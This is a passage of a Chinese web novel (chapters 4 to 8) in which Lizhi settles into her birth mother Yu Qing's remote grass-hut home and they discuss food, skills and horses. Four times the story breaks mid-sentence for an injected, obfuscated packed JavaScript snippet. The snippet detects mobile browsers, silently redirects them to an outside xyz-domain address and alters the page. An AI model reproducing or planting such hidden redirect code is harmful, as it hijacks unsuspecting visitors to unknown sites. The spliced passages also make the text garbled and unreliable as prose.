阿黄看起来,是非常温顺老实的狗。 它只是乖乖地吃着、由黎芝的手拿过来的杂粮饼子而已。 虽然饼子质地并不软,但阿黄吃得很快,一会儿就吃完了。 阿黄似乎知道黎芝害怕它,没有做出舔舐黎芝的手表示亲热这种动作。 如果它做了这种事的话,黎芝多半会被吓得“灵魂出窍”吧。 但是,老实乖巧的阿黄,什么也没有做。 它吃完杂粮饼子之后,只是十分普通、平淡地趴了下来。 好像是吃饱喝足了就不想动的缘故,它懒洋洋地望着黎芝和余庆,一声不吭。 (这就算是结束了吗?) 喂狗的行为这么快就结束了,黎芝感到有些困惑。 “一张饼够吗?”黎芝紧张地问道,“妈妈,我还需要再喂它一张吗?” “不用这么惯着它。”余庆摇摇头,说道,“我平时都不怎么喂它的。” “这样一来,它就能记住我吗?”黎芝不安地问道,“下次再见面的时候,它不会咬我了吧?” “嗯,记得住的。”余庆微笑着说道,“你放心吧。没事的,它以后也不会咬你了。” 黎芝半信半疑地点了点头。 “那么,我现在……该做什么呢?”黎芝一如既往地紧张。 初来乍到这个完全不熟悉的地方,她做每一件事,都需要本地人、特别是母亲的协助与指引。 因为什么都不懂,所以不敢自作主张。 “选出你想要的屋子吧。”余庆又再说道,“选好之后,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923688|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是你的房间了。” “那就……这个吧。”黎芝说道。 因为实在不知道该选哪个,她就选了从左往右数,第七个的草屋。 选择这个草屋,并没有特别的意图。 在黎芝看来,它看上去,与别的草屋也没有什么本质的分别。 要说有什么不一样的,那就是,它是“从左往右数的第七个空屋子”。 而黎芝喜欢的,又是“七”这个数字,仅此而已。 大部分人都喜欢“七”吧?自己并不特别。黎芝心想。 “那么,你现在可以、把你的行李拿到这个屋子里去了。”看到黎芝选好了自己要住的屋子,余庆就把黎芝的行李拿了出来递给她。 “谢谢妈妈,麻烦了。”黎芝说道。 自己确实有点麻烦余庆了,黎芝不由得这么觉得。 早知道这么快就会要自己选择住的地方的话,黎芝的行李都不会离手的。 虽然行李很重,但黎芝已经拎着它走了一炷香功夫,自然也不在乎再多走一段时间了。 “不麻烦的。”余庆建议道,“对了,趁着天亮,你现在就把你睡觉的地方铺出来吧?等天黑了,就不能看得那么清楚了。” “我们这里……晚上会点灯或是蜡烛吗?”黎芝试探性地问道。 虽然她心里对此不抱期望,但还是不由得想问一问。 如果有的话,生活肯定会方便得多;如果没有的话,那就算了。 “不点的。”余庆摇摇头,补充说道,“一般来说是不点的,但有时也可能点哦。” “这样啊。我知道啦。”黎芝点点头。 虽然有些失望,但也在意料之中,黎芝于是勉强接受了现状。 “荔枝啊。你是不是……对咱们家有什么误解?”余庆突然问道。 不知为何,就像是捕捉到了黎芝脸上的失望一样,余庆忽然流露出了严肃较真的态度。 这让黎芝很困惑,不知道余庆所说的“误解”指的是什么事情。 “啊?误解?”黎芝有些焦虑地说道,“妈妈你说的‘误解’是什么意思啊?我根本什么都没有说啊?妈妈怎么会认为我误解了什么呢?” “你……是不是觉得咱们家非常贫穷?”余庆认真地望着黎芝,又再追问道,“你是不是觉得咱们家家徒四壁,穷得揭不开锅啊?” 余庆的问题,让黎芝不知道该怎么回答好了。 她的确是这么认为的。 但是,这个认知,难道能用“误解”来形容吗? 莫非,这不是事实吗? 如果余庆拒绝认同这件事的话,那黎芝也实在……有种不知道该怎么沟通下去才好的感觉了。 余庆这一系列的问题,自己该怎么回答才好呢? 黎芝在心里斗争了很久,最终决定实话实说。 “是的。”黎芝说道,“我觉得我们家很穷。所以,我正在担心我待在这里,会给家里添麻烦。” 余庆望着黎芝,黎芝也紧张地望着余庆。 在黎芝看来,自己的母亲似乎正试着表现出亲切、令人安心的样子。 5. 第 5 章 但可能是因为,看惯了余庆的严肃一面的缘故吧?黎芝心里总觉得,余庆“表现”出的一面,感觉上就像在“表演”似的,而且效果很差。 这让黎芝多少感到有些尴尬。 不过,想到余庆也是为了拉近彼此的距离,黎芝又觉得自己或许应该高兴才对。 “我们家不穷的。”余庆很自信地说道,“至少,在这一带,我们家是富庶的人家噢。” “诶?这是真的吗……”黎芝无意识地提出问题。 尽管知道质疑别人、特别是自己今天刚刚谋面的母亲,这种行为是不怎么礼貌的,但根据自己的观察,黎芝实在很难说服自己相信“我们家是富庶的人家”这句话。 “妈妈不会骗你的哦。”余庆笑了笑,说道,“如果我们家很穷的话,我就会直接承认穷了。我们是一家人,骗你的话,对妈妈能有什么好处呢?所以,我干吗要骗你啊?” 真是这样就好了。黎芝半信半疑地想。 说起来,虽然余庆似乎想表现得像个温柔宽厚的母亲似的,但黎芝总觉得对方的笑容有些僵硬、不自然。 在这一点上,她真希望是自己看错了、想多了。 但转念一想,黎芝又明白了。 余庆会这么做,大概是因为,她真的很想尽快地让黎芝认同这个母亲、建立起亲子间的关系吧。 想到这个可能性,黎芝还满开心的。 “可是……”黎芝想了想,忍不住说道,“那么,咱们这里的人家,都是住草房的吗?” 听到黎芝的话,余庆的脸上并没有露出什么烦恼,而是流露出了困惑的神情。 “咦?你不喜欢草房吗?”余庆困惑地反问道。 余庆的困惑,感染了黎芝。 让黎芝也不由得困惑了起来。 难道说……草房子是一种很高级的建筑不成? 确实,现在的房子,几乎不存在由草建筑的房子了。 也许,某种意义上说,“物以稀为贵”也是合理的想法。 可是,如果说草房是一种很高级、或是很值得喜欢的屋子的话,自己怎么从来没有听说过别人对这个的向往呢? 黎芝实在对此感到非常困惑。 “不喜欢。”黎芝决定老实地回答,她说道,“我觉得草房不安全。容易被盗、还不结实,而且……冬天应该也不保暖吧?对了,草房是不是还很容易生虫啊?” “确实,这些听起来是客观存在的问题。”余庆说道,“但是我们这里民风淳朴,从来不丢东西。若是担心火灾的话,也没有必要。不论材料,该着火的怎么都会着火的,命运使然。虽然不结实,但是建造非常容易呢。因为我们没事就盖着玩儿,才会有这么多房子的。盖草房的时候,材料用到了艾蒿,一般的虫子也不愿意接近,可以说比木屋和砖房还要防虫。你还有什么担心的吗?说出来妈妈给你解释就好。” “我们家是靠什么生活的啊?”黎芝很紧张地说道,“?我想帮忙家里维持生计。我在家里可以做什么呢” “你会做什么?说说看。”余庆审视着黎芝,认真地说道,“什么都不会也不要紧。你只要不总吃山珍海味,不常穿绫罗绸缎的话,家里养你一个吃闲饭的姑娘是完全够用的哦。你不要有负担,虽然不能像过去那样当货真价实的大小姐,但是每天游手好闲地玩儿是没问题的。妈妈对你只有一个要求,别惹事生非,照顾好你自己,不要让我操心就行了。” 余庆的这番话,对黎芝真是意外地体贴。 让黎芝也不由得心里有些感动起来。 但正因为这样,黎芝反而更不愿意当吃白食的人了。 可是,黎芝还是不知道自己能做什么。 黎芝会做的事情,可多着呢。 但却没有什么事情,是确定在这里可以派上用场的。 比如说,黎芝曾经很喜欢烹饪。 但黎芝连给炉子生火、照顾炉火也很难做到。 这种事情,都是雇佣的仆人帮忙做的。 来到这里,黎芝甚至不知道自己有没有能力独自点燃火炉,更别提各种照顾火的细节了。 而且,这里与黎芝熟悉的情况,有些不一样。 黎芝虽然自己不会点火,但黎芝知道,烧火是用“煤炭”的。 富裕的人家,比如黎家,是用煤块、木炭等等烧火。 穷人家,是用碎煤粉做成的砖头型物体“煤坯”烧火的。 黎芝在这里没有见到煤炭,也没有见到煤坯,那这里是用什么烧火的呢? 难道是烧木柴或是干草、树叶的吗? 如果是这样的炉子的话,黎芝别说会点火了,连见都没有见过。 这样的设想让黎芝十分不安。 虽然她可以想办法学会,但这样一来,就不能说自己会“做饭”了,毕竟连点火都不会。 正是因为这样,黎芝对自己目前掌握的所有技能,都不敢开口吹嘘了。 但是,也不能说自己什么都不会啊……想到这种事,黎芝十分烦恼。 “我会剪纸。”黎芝思索了很久,才终于想到了一个自己的本事。 “你会剪纸?剪得好吗?”余庆听到黎芝的话,多少有了些反应,她问道,“是简单的剪纸,还是复杂的窗花?” “都行吧……”黎芝很紧张地说道,“但如果是复杂的窗花的话,我一天最多只能剪一个,剪多了眼睛受不了。” “那……你有时间的时候,剪一个给我看看吧。”余庆说道,“这手艺倒是很有用的一门手艺。但如果你眼睛受不了的话,也不要太操劳。” “嗯,好的。我记住了,妈妈。等我有空的时候,就给妈妈剪一些剪纸。”黎芝说道。 说罢,黎芝松了一口气,这算是多少证明了自己的价值吗? 话说回来……余庆要剪纸做什么呢? 黎芝望向眼前的这些草屋,又变得困惑了起来。 如果是窗花的话,那都是贴在窗纸上的装饰。 当然,也有些极有钱的人家,他们的窗户是由“玻璃”做成的。 玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923689|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃窗户透明又挡风,是完美的窗户材料。黎芝的养父母家里使用的,就是这样的门窗。 玻璃窗户也可以贴窗花,但没什么必要。清澈透明的玻璃,本身就是最美丽的装饰品了。 而这些草屋的存在,就非常尴尬了。 草屋也是有窗户的。 但是,这种窗户只是用草编织起来的“窗扇”与“空洞”的组合而已。 虽然可以开合,但全靠空洞来透光,并没有能贴着窗纸的地方。 这样一来,就算有窗花,也根本没有地方可以贴啊。 余庆并不知道黎芝的烦恼,她试图继续关心黎芝的事情。 “你喜欢吃什么?”余庆问道,“对了,你不吃什么?” “我不吃……我不愿意吃剩饭可以吗?”黎芝的脸红了起来。 她讨厌吃剩饭,但如果真的只能吃剩饭的话,也不是完全不能吃。 “可以的。”余庆笑了笑,说道,“谁喜欢吃剩饭啊。我也不喜欢吃,我们一家人都会尽量避免剩饭的。放心吧。” “那太好了。”黎芝松了口气,至少自己最讨厌的常见食物,在此可以回避过去了。 “你还有什么不吃的东西?”余庆又问道。 “我不吃臭的东西。”黎芝说道,“比如臭豆腐之类,我不喜欢。” 黎芝家本来也基本上不吃这种东西的,不过黎芝很担心自己的新家人会喜欢吃这种东西。 “那个我们也不吃。”余庆想了想问道,“你吃酸菜、泡菜和咸菜吗?如果不吃这些东西的话,可能会稍稍让做饭的人有些困扰呢。” “这个……我不知道。”黎芝说道,“基本都是我没吃过的东西。我不知道自己能不能吃。” “你吃豆瓣酱吗?”余庆又想了想,问了另一个问题。 “这个……一定要吃吗?”黎芝说道,“如果可以选择的话,我希望吃盐或是酱油。” “不是必须要吃,但有时会吃。”余庆说道,“不过要等到快冬天才能吃呢。” “这么久吗……”黎芝说道,“那,到时再说吧。其实,很多东西是我没吃过、甚至连见也没有见过的,所以能不能吃,我自己也不太清楚。” “我知道了。那么,你喜欢吃什么呢?”余庆说道,“虽然不一定能满足你的需要,但做饭的时候,我会尽量注意一些的。大家的喜好调和在一起,互相迁就之后,我才能知道能不能给你做喜欢吃的东西。” “我……我喜欢吃蘑菇。”黎芝回答道。 她想了半天,觉得蘑菇应该是这里比较容易获取的、而自己又喜欢吃的东西。 如果说自己喜欢吃这个的话,应该不会给人带来困扰吧? “你喜欢吃蘑菇?”余庆很惊讶地问道。 “是啊……不行吗?”黎芝紧张地说道,“我不太清楚,如果不能的话就不用在意我的喜好啦。” “当然不是不行了。”余庆像是如释重负一般地说道,“这里春、夏、秋的时候,蘑菇漫山遍野哪里都是,多得很呢!” 6. 第 6 章 “好厉害啊。”黎芝真诚得近乎懵懂地说道,“我还没见过长蘑菇的地方呢。妈妈下次采蘑菇的时候,可以带上我吗?” “也不是不可以……但是,你认识蘑菇吗?”余庆看向黎芝,有点犹豫地说道,“如果是不熟悉蘑菇的人出手的话,可能会采到‘毒蘑菇’哦。那是很麻烦的东西,中毒的话,可是会死人的。” “不认识。”黎芝顿时没精打采起来,她软弱地说道,“但我可以学啊。而且,在没学会辨认蘑菇之前,我不会采蘑菇的。” “以后再说吧。”余庆摇摇头,似乎很无奈地说道,“这个也不算是非常容易学会的知识。而且,能采到蘑菇的地方,距离这里是很远的,我带你去采蘑菇的话,也有些麻烦。” 关于蘑菇的知识,真的很难学习吗……黎芝对余庆的话半信半疑。 以前在京城的时候,黎芝可是认识两百多种花花草草的人呢。 虽然,蘑菇与花草,在形态上不太一样,知识上也并不共通。但是,本着“触类旁通”的规则,黎芝觉得自己应该也能学会辨认蘑菇才对。 说到两百多种花花草草…… 黎芝忽然又想起自己的一门本事了。 “对啦,我会种花草!”黎芝兴高采烈地说道,“我在以前的家、自己的院子里,种了好多品种的花花草草呢,都长得很好哦。” “真的吗?”余庆看向黎芝,问道,“你会种什么?” “常见园林植物的话,一般都种过吧。”黎芝略带自傲地说道,“我最喜欢种芦荟了。” “那是什么?”余庆有些困惑地问道。 余庆居然不知道“芦荟”这种植物,这点倒是黎芝没想到的。 因此,余庆不解地望向黎芝,像是完全不知道对方所说的“芦荟”是什么东西一样。 黎芝的脸红了起来,她有些难堪。 “‘芦荟’是一种肥厚的植物……也可以吃的,不过不算太好吃。”黎芝有些尴尬地说道,“但它最让我喜欢的一个优点,是‘涂抹在身上可以治疗伤口’这一点了。类似烧伤烫伤,或是刀伤,抑或是疙瘩、虫咬之类的伤,‘芦荟’都可以治疗,而且疗效很不错哦。” 余庆注意地听着黎芝的话。 她看起来对黎芝口中的“芦荟”不是很感兴趣,但对黎芝谈论自己对“芦荟”的了解却是相当关心。 “你会种菜吗?”余庆认真地问道,“我们这里最需要的,就是擅长种菜的人了。” “我没种过。但这种工作,我应该做得来的。”黎芝想了想又再说道,“我还可以种一些瓜果之类的东西。如果妈妈需要的话,我甚至明天就可以开始种植。” “就这么说定了。”余庆很安心地说道,“我们家的人不擅长种植,种什么都长得不好。听说这是运气不行的体现,会种植各种东西的人,在我们这里被认为是有福气的人,很受欢迎的呢。” “应该跟运气没有关系吧……”黎芝半信半疑地说道,“我觉得,我的运气也很一般啦。” 说到这里,黎芝禁不住停下来想了想。 自己的运气,算是很一般吗?也许吧。 虽然并不是特别好,但黎芝回想了一番,也没有感觉到特别一般。 毕竟,出生之后就被富豪之家养大,应该算是很幸运的事情了。 可惜的是,与自己一起生活了很久的“家人”并不是真正的家人。 但一想到,现在可以和自己真正的家人一起生活,就觉得其实也不是那么值得可惜的事情就是了。 那应该就是……中等偏上的程度吧?比上不足,比下有余啦。 “那么,能和这样美丽活泼的女儿一起生活,大概是我们家的幸运吧。”余庆似乎在夸奖黎芝,但总觉得她的夸奖缺乏些许干劲。 大概是因为,余庆这个人,太过于习惯严肃了吧? “谢谢妈妈这么说。”黎芝露出一个轻柔的笑容。 黎芝觉得,自己已经快要渐渐习惯余庆的这种性格了。 虽然还是觉得有些怪,但习惯了的话,应该就感觉还不错吧。 “不用谢。你还有什么想问的事情吗?”余庆好像忽然变得焦急了起来,她说道,“要问什么就快问吧,因为我很快就要走了。” 黎芝被余庆的话吓了一跳。 本来就没有整理好该问的问题,余庆再这么一催促,黎芝更是连本来记得的问题都忘记了。 突然被留在陌生地方的慌张感,让黎芝一时乱了阵脚。 “什么……为什么妈妈突然要走啊?”黎芝不安地说道,“妈妈不要离开我啊。我一个人待在这种人生地不熟的地方,会很害怕的……如果妈妈要离开这里的话,请带上我好吗?” “我去别人家‘要’点东西。”余庆看着黎芝,思索片刻后说道,“你会骑马吗?如果你会骑马的话,我就可以带上你一起去。” “不会。”黎芝很沮丧地回答道,“这个,好学吗?” “这我不好说。看人吧。”余庆说道,“有的人一下子就学会了。有的人怎么都学不会。” 黎芝听了,心里一凉。她郁闷得几乎要哭出来了。 “那么……我今天应该是学不会了吧。”黎芝十分悲观地答道。 虽然,刚才说出的那句话,听起来就已经很悲观了;但是,在黎芝心里,真实情况比那还要悲观。 自己也许一两个月都学不会,这是很可能的。正是因为可能性是如此之大,黎芝才格外担心。 “一下午你肯定学不会。”余庆点点头,又摇摇头,无奈地说道,“别说一下午了……我说句难听的话吧,瞧你那娇滴滴的样子,就算好几天你也未必能学会啊。” 余庆的这个评价,对黎芝造成了一定的打击。 虽然余庆说是“难听的话”,但黎芝其实很清楚,余庆的评价,已经是尽量委婉的口气了。 对黎芝来说,能用十天半个月的时间,学会骑马就不错了。 “也许,骑马对我来说确实是很难的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923690|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情吧。”黎芝虽然有些伤心,但仍很老实地说道,“但是,妈妈,我真的会努力学骑马的。” “那你一定要把‘骑马’这件事放在心上啊。你最好快点学会骑马。”余庆严肃地说道,“在这里,如果不会骑马的话,可是寸步难行啊。” “我明白了。”黎芝点点头,乖巧而又坚定地说道,“我一定会尽快学会骑马的!” 这段对话,听起来像是黎芝在敷衍余庆。 但在黎芝这一边,她确实是、非常认真地这么想的。 之前,从大路来到这一片草屋的时候,黎芝虽然花了很长一段时间才走过来,但倒是没想太多。 但是,听到余庆说自己要去别人家“要”点东西的那一刻,黎芝突然察觉到了危机所在。 这里,和京城的生活环境实在太不一样了。 京城是个非常适合步行的地方。 虽然,黎芝在京城待着的时候,也不会去太远的地方,而通常只是在家附近行动罢了。 但这么做,恰恰和京城生活的“状态”有关。 在京城生活的时候,衣食住行,都可以在自己所居住地区的附近解决。 在京城,即使是实际面积很小的地方,也通常是“麻雀虽小五脏俱全”的状态。 “去远处”与“在近处”,能获取到的商品与服务,其中的区别虽然不能说是非常小;但对一般人来说,也没有大到,要“特意出远门来获取自己最需要最偏好的东西”的程度。 无非是,“家附近的馄饨,没有十里之外的某家馄饨馆的馄饨好吃”,这样的差别而已。 虽然黎芝算是非常偏好美食的人,但比起“馋”,她更加倾向于“懒”。 因此,就在家附近行动,吃不那么好吃的东西,买做工不那么精致的衣服,对黎芝来说已经够了。 这就是,“京城生活”的便利表现了。 因为生活便利,商品琳琅满目,因此也格外适合步行。 每次逛街的时候,都可以看到无数商品、小吃与商铺,人与环境的交互性非常好。 而这里,就简直完全不一样了。 这里的地名,全名应该是“大辉山”。 这里的全名,虽然是“大辉山”这个名字,但因为三个字有点难叫的缘故,所以一般略称为“辉山”。 “辉山”地区,距离京城是很远的。 并没有达到“边境”的程度,但确实有些偏僻了。 对于在京城生活惯了、也不喜欢出远门的黎芝来说,这种“偏僻”尤其让她难以适应。 虽然,黎芝从京城来到这里之前,就已经对此有过充分的想象了;但实际来了,她才发现,这里其实比自己想象中的情况还要糟糕一些。 人烟罕至,倒还是小事。 涉及到黎芝认知盲区的是,这里的每个“家庭”,竟然可以说相当于一个“聚居点”。 “家庭”之间的距离,虽然还没有到“孤家子村”的程度,但也是相当远了。 7. 第 7 章 无论是家庭与家庭之间,还是家庭与商铺之间,距离太远都是一件令人不太舒服的事情。 因为远,就意味着从此家到彼家时,拜访的过程,会相当困难、耗时。 而且,距离远还只是比较小的麻烦;更大的麻烦是“荒凉”。 在京城,从此地到彼地时,就算实际距离比“辉山”地区的此家与彼家之间,还要远很多,步行的体验依然是远远优于在“辉山”地区步行的。 因为,在京城步行的时候,随时随地都能够看到许多人与各种场景。 如果嘴馋的话,这一路上还能一直吃吃喝喝。 步行的时候,时刻都在接收大量信息,基本上是不会感到无聊的。 但在“辉山”这个地方步行的话,感觉就完全不一样了。 住在“辉山”的人,在家之外的地方行走的时候,看到的应该都是无穷无尽的草木吧。 而且,还是以草为主。 同样用一炷香左右的时间步行的话,在京城,沿途可以看到很多很多的东西用于解闷。 但在“辉山”步行时,却只能看到绿色、黄色、灰色的茫茫草原而已,体验极差。 不仅如此,京城虽然人多,但治安却是肉眼可见的出彩。 也许,就是因为人多的关系吧?所以,每一双眼睛都有机会发现罪犯或危险分子。 这样一来,罪犯或者危险分子的“犯罪成本”就很高了。 因为很容易被抓到,所以恶人会更忌惮一些,因此,犯罪率也就自然下降了。 这种“在这里犯罪的成本很高”的观念一旦普及,就会让所在地成为一个相对来说十分安全的地方。 但“辉山”却是明显不同,这里的人实在太少了,就算出点什么大事,也很难被察觉。这样一来,情况大概会相当麻烦。 这并不是说“辉山”这边的人素质较差、或是犯罪率高的意思。而仅仅意味着对“辉山”来说,荒郊野外的地方太多了,相比之下,出门恐怕会比较危险而已。 想到这些麻烦的事情时,黎芝已经预感到,如果她今后想去别人家串门的话,靠步行来移动应该是相当不现实的。 真的就像余庆刚才说的那样…… 不会骑马的人,在这里恐怕会“寸步难行”吧。 这样一想,自己之前提到“采蘑菇”时,余庆感到为难的原因,黎芝也更加明白了。 意识到这一点,黎芝不可能不感觉到焦虑。 (必须尽快学会骑马!) 危机感,让黎芝深刻地如此认为。 黎芝正在思考“辉山”地区的移动问题的时候,余庆却已经准备离开了。 “虽然有点仓促,但我要先走了。”余庆说道,“你可以在这里看家吗?” “啊?我看家?”黎芝惊讶极了,她说道,“虽然,我是相信‘妈妈就是我的妈妈’的,但我们认识的时间,只有一炷香功夫多一些啊?妈妈就这么信任我了吗?如果我并不是妈妈的女儿,我偷了家里的东西逃走,该怎么办才好?” 黎芝的这番话,说得有点凌乱。 她其实是想说,自己恐怕胜任不了“看家”这个任务,但又不好意思直接承认这一点。 结果,就变得这么凌乱奇怪了。 但余庆似乎并没有听懂黎芝的意思。 “我当然信任你啊。”余庆说道,“第一,如果你不是我们家的孩子的话,那你又怎么会知道,我们家近期有个女儿要回家呢?太碰巧了吧?” 这个问题有点难,黎芝想不出来。 但想不出来不等于无法回答,只能说,证明黎芝不够聪明而已。 真令人有些伤感。 “大概是巧合吧。”黎芝回答道,“可能,‘她’有特殊的渠道,可以知道这个情报。而且当她知道这个情报后,‘她’就疯狂赶了过来,想要蒙蔽妈妈哦。” 黎芝就这样,编了一个荒诞的猜想出来。反正,连她自己都不信。 “听起来倒是有点儿道理……”余庆若有所思地说道,“那么先不说这个,来说第二条,我们家虽然不是很穷,但却地处偏远,物资并不丰富。这种情况下,‘她’会打算偷什么呢,我们家又没有什么值钱的东西。” “破家值万贯。丢一把柴火就没烧的。”黎芝摇了摇头,说道,“而且,价值这个东西,本就因人而异嘛。虽然,在妈妈眼里,可能是很平凡、没什么价值的东西,但是有可能对小偷来说,就是很有用、很值钱的东西了嘛。” “有道理。”余庆似乎认同了黎芝的判断,她点了点头,说道,“真有道理。为什么你所说的话听起来都这么有道理呢?” 这种事,就连黎芝本人也不知道。她觉得,是余庆太擅长美化自己的女儿了。 “可能因为我比较习惯于观察与思考吧。”黎芝苦笑着说道,“遇到这种情况,我都会先推测一下悲观的可能性,然后才推测除此之外的可能性。” “嗯,虽然不一定正确,但你的想法很有趣。”余庆又点了点头说道。 “然后,我还想说。我只是一介弱女子,如果真的有人来盗窃甚至抢劫的话,我也拦不住他们啊。”黎芝紧张地说道,“如果这附近真的有坏人的话,我只能作为目击者见证这一切而已。看家的意义何在?真的有什么必要这么做吗?我觉得,我自己只负责做一些事件的‘见证’而已……” “那结果确实是不太有意义。”余庆摇摇头,然后忽然笑了一下,她说道,“你搞错了,‘看家’并不是真的要你守护家里什么东西啦。所谓的‘看家’只是‘在家里休息’的同义词而已啦。我让你看家的意思,就是让你在家里多休息放松一段时间,除此之外的事情,暂时也用不着你操心。” “原来是这样啊。”黎芝这才多少弄明白了余庆的用意,她说道,“那么,我知道了,谢谢妈妈。” “嗯,就是这样。”余庆点点头,说道,“既然这样,你就先在屋子里休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923691|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。或是另外找一个地方休息也可以。我要走了,会尽快回来的。” 要和才刚见面的母亲分别,这让黎芝感到不安和恋恋不舍。 但她不能任性去阻止这件事,就只能让“一定要快点学会骑马”的决心更为坚定而已。 “等等。”黎芝很纳闷地问道,“妈妈是要骑马出门对吧?可是,我没有在这附近看到过马的存在啊?” “没错,就是你说的那样。”余庆很自然地说道,“马不在这里,在更远的地方养着。” “那……妈妈是要步行到远处才能骑马吗?”黎芝猜测着问道。 黎芝觉得自己的猜想乍听起来很靠谱,但有一件事令人感到费解。 为什么家附近没有马呢? 这样一来,岂不是要步行到很远的地方,去和马会合吗? 在这种地方,即使只是步行很短的距离,也是很难受的。 如果马被养在遥远的“马场”里的话,那去找马的过程,一定很累、很不方便吧。 因为,这样的生活习惯,感觉上是不合理的……所以,黎芝认为,自己的想法,有某种破绽或漏洞,她只是一时找不出来问题所在而已。 这也是没办法的,毕竟,黎芝以前从来没有在“辉山”这样的地方生活的经验。 弥补认知盲区这种事情,是很难凭空就考虑得周到完善的。 似乎是对黎芝的设想感到有趣,余庆笑了起来。 “用不着这样。”余庆愉快地说道,“我们家的马是不拴绳的哦。它们认识家。需要骑马的时候,它们自己就会回来的。” 这更加让黎芝困惑起来。 “它们自己就会回来的?”黎芝问道,“如果是在傍晚之类的时间,基于习惯和规律,按时间回家,我还可以理解。只是想骑马的话,它们怎么能自己回来呢?” “你猜呢?”余庆有些促狭地说道。 (这怎么能猜得着?一点线索和提示都没有)。 黎芝又完全不懂牧民的生活。 只是知道一些非常简陋浅薄的知识的话,那和完全不知道也没有本质的区别。 黎芝很快就选择了放弃。 “我猜不到。”黎芝摇摇头,无奈地说道,“我对关于马的事情,基本是完全不懂的呢。” “真没劲。又不是非要猜中不可。你象征性地猜一猜也是好的。猜不中又不丢人。”余庆有些失望地说道,“看你像是满喜欢思考的类型,怎么一到了真的需要思考的时候,就完全不愿意动脑子了呢。” “因为确实没有头绪啊。而且……”黎芝十分委屈地答道,“妈妈至少应该给我一点点提示才对。这样凭空猜测的话,实在是猜不到嘛。” “给你提示的话,就直接猜到了。和公布答案没有什么区别了。”余庆摇摇头,流露出很失望的神情,说道,“如果你能猜到是最好的,猜不到的话,那就算了。我做给你看吧。怎么样,你还要试着努力猜一下吗?” 8. 第 8 章 “等一下。”黎芝轻声说道,“妈妈,让我再想想……” 随即,黎芝沉思起来。 (如果给我提示的话,就能直接猜到。和公布答案,没有什么区别……) 黎芝咀嚼着余庆的话。 一些“可能性”与“猜测”的碎片,在她的心中模糊地闪过。 这些碎片的信息,实在太过于零碎与模糊,以至于,黎芝很难重新把碎片组合成有意义的内容。 (总之,至少能明白,真相应该是非常简单的。是只要给了提示,就能立刻猜到的程度吧?不过,妈妈真的确定,一个完全不懂这方面事情的人,会仅仅因为有了提示就立刻猜到吗?) 一开始,黎芝认为余庆的话语可以作为线索,作为参考进行推测的。 但用心思考一番后,黎芝又觉得,余庆很可能误解了这道题的难度。 算了,看来只能自己随便乱猜了。 就算认真去“推理”,这种事情上的准确率,多半也不会比单纯的“乱猜”高到哪里去的吧? 至少,黎芝是这么认为的。 “是通过‘声音’来联系马儿的吗?”再度思索、整理线索后,黎芝试探性地问道,“那种驯养得好的马,是不是……只要听到对它的呼唤声,就会立刻放弃当时关注的事情,急急忙忙地跑过来呢?” 总觉得,自己的这个猜想有明显的漏洞。黎芝在心里是这么想的。 比如说,如果呼唤不在眼前、待在远方的马的话,呼唤者的“中气”需要多么充足才能做到啊? 能够喊来远方的马的人,声音一定很嘹亮吧? 虽然,余庆的声音,在黎芝看来,也是十分洪亮、中气十足。 但是,总觉得,和“声如洪钟”这种程度的响亮还是有差距,很难想象可以唤来远方的马匹。 不过,也许黎芝搞错了,并不需要那么大的声音也能唤来马儿。 如果马儿真的可以靠人声唤来的话,等下是不是就可以看到自远处赶来的“奔马”了? 黎芝不由得期待起来。 虽然对骑马暂时一窍不通,但只是远远地看着马群的话,黎芝应该还是有兴趣的。 “嗯,这个我可以算你对了。不错嘛。”余庆点了点头,赞赏地说道,“看来,你还是挺有脑子的。并不是那种‘四体不勤五谷不分’的、单纯的笨蛋大小姐呢。” (只是猜到了这种事情而已,就能算“挺有脑子的”了?妈妈对“有脑子”的标准是不是太低了啊?而且……我看起来像笨蛋大小姐吗?) 黎芝抿着嘴。她感到有些委屈,但并不打算辩解。 “那……妈妈要呼唤马儿过来吗?”黎芝想了想,很是期待地问道。 这会儿,黎芝又想到一件令她有些在意的事情。 